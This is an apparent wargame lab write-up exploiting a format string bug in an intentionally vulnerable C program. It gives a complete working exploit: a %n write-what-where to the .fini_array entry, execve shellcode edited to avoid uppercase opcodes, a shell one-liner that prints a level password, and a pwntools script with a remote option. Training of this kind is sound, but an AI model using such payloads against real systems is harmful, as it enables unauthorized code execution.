For this lab, we are given a program and its corresponding source code:
/*
* Format String Lab - B Problem
* gcc -z execstack -z norelro -fno-stack-protector -o lab4B lab4B.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
int i = 0;
char buf[100];
/* read user input securely */
fgets(buf, 100, stdin);
/* convert string to lowercase */
for (i = 0; i < strlen(buf); i++)
if (buf[i] >= 'A' && buf[i] <= 'Z')
buf[i] = buf[i] ^ 0x20;
/* print out our nice and new lowercase string */
printf(buf);
exit(EXIT_SUCCESS);
return EXIT_FAILURE;
}
The program takes user input, converts any upper case letters to lower case letters and prints out the modified string.
Running chekcsec
on the binary reveals that all compiler mitigations are disabled.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled
A format string vulnerability is introduced when unvalidated user input is passed into printf()
. This vulnerability gives us a write-what-where primitive that we can leverage to gain arbitrary code execution.
We can exploit this vulnerability by overwriting a destructor pointer in .fini_array with the address where our shellcode resides.
One issue we do have to deal with however, is the fact that we can’t use any opcodes in our shellcode from 0x41
to 0x5a
, as they are associated with capital ASCII letters.
This is particularly problematic because my go-to execve(“/bin/sh”) shellcode uses push <reg>
instructions which are associated with opcodes in this range.
To bypass this issue, I substituted the push <reg>
instructions with sub esp, 0x4
and mov [esp], <reg>
instructions, which use acceptable opcodes.
To verify this we can use an online assembler .
We can use objdump
to determine the address of the .fini_array
entry we need to overwrite.
lab4B@warzone:/levels/lab04$ objdump -s -j .fini_array lab4B
lab4B: file format elf32-i386
Contents of section .fini_array:
80498ac 40860408 @...
We see that we need to overwrite the value stored at address 0x80498ac
.
We can do that using the %n
format string specifier to perform two controlled writes to address 0x80489ac
and 0x80498ae
.
Using fixenv and gdb, we can also see that the address 0xbffff780
points to the middle of our NOP sled, so we will overwrite the .fini_array
entry with this address.
0060| 0xbffff77c --> 0x90906e25
0064| 0xbffff780 --> 0x90909090
0068| 0xbffff784 --> 0x90909090
0072| 0xbffff788 --> 0x90909090
0076| 0xbffff78c --> 0x90909090
One issue with the 0x80498ae
address, however, is that the upper 2 bytes, 0xbfff
are smaller than 0xf780
, so when we are determining the width of the %x
, we need to determine how many bytes will allow us to write 0x1bfff
to these 2 bytes.
After performing some calculations, we determine that %51327x%n
will write 0x1bfff
to 0x80498ae
.
Putting everything together, the following input will give us a shell.
lab4B@warzone:/tmp/lab4b$ (python -c 'print "\xac\x98\x04\x08"+"AAAA"+"\xae\x98\x04\x08"+"%x"*4+"%63329x%n"+"%51327x%n"+"\x90"*20+"\x31\xc0\x83\xec\x04\x89\x04\x24\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x83\xec\x04\x89\x04\x24\x89\xe2\x83\xec\x04\x89\x1c\x24\x89\xe1\xb0\x0b\xcd\x80"'; cat -) | fixenv /levels/lab04/lab4B
[...]
61616161????????????????????1????$hn/shh//bi????$????$??
̀
id
uid=1015(lab4B) gid=1016(lab4B) euid=1016(lab4A) groups=1017(lab4A),1001(gameuser),1016(lab4B)
cat /home/lab4A/.pass
fg3ts_d0e5n7_m4k3_y0u_1nv1nc1bl3
The pwntools version of this is as follows.
#!/usr/bin/env python
from pwn import *
import sys
'''
r < <(python -c 'print "\xac\x98\x04\x08"+"AAAA"+"\xae\x98\x04\x08"+"%x"*4+"%63329x%n"+"%51327x%n"+"\x90"*20+"\x31\xc0\x83\xec\x04\x89\x04\x24\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x83\xec\x04\x89\x04\x24\x89\xe2\x83\xec\x04\x89\x1c\x24\x89\xe1\xb0\x0b\xcd\x80"')
'''
def sh():
sc = '''xor eax, eax
sub esp, 4
mov [esp], eax
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
sub esp, 4
mov [esp], eax
mov edx, esp
sub esp, 4
mov [esp], ebx
mov ecx, esp
mov al, 11
int 0x80
'''
return asm(sc, os='linux', arch='x86')
def exploit(r):
payload = p32(0x80498ac)
payload += "AAAA"
payload += p32(0x80498ae)
payload += "%x"*4
payload += "%63329x%n"
payload += "%51327x%n"
payload += "\x90"*20
payload += sh()
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process(['fixenv','/levels/lab04/lab4B'])
print util.proc.pidof(r)
pause()
exploit(r)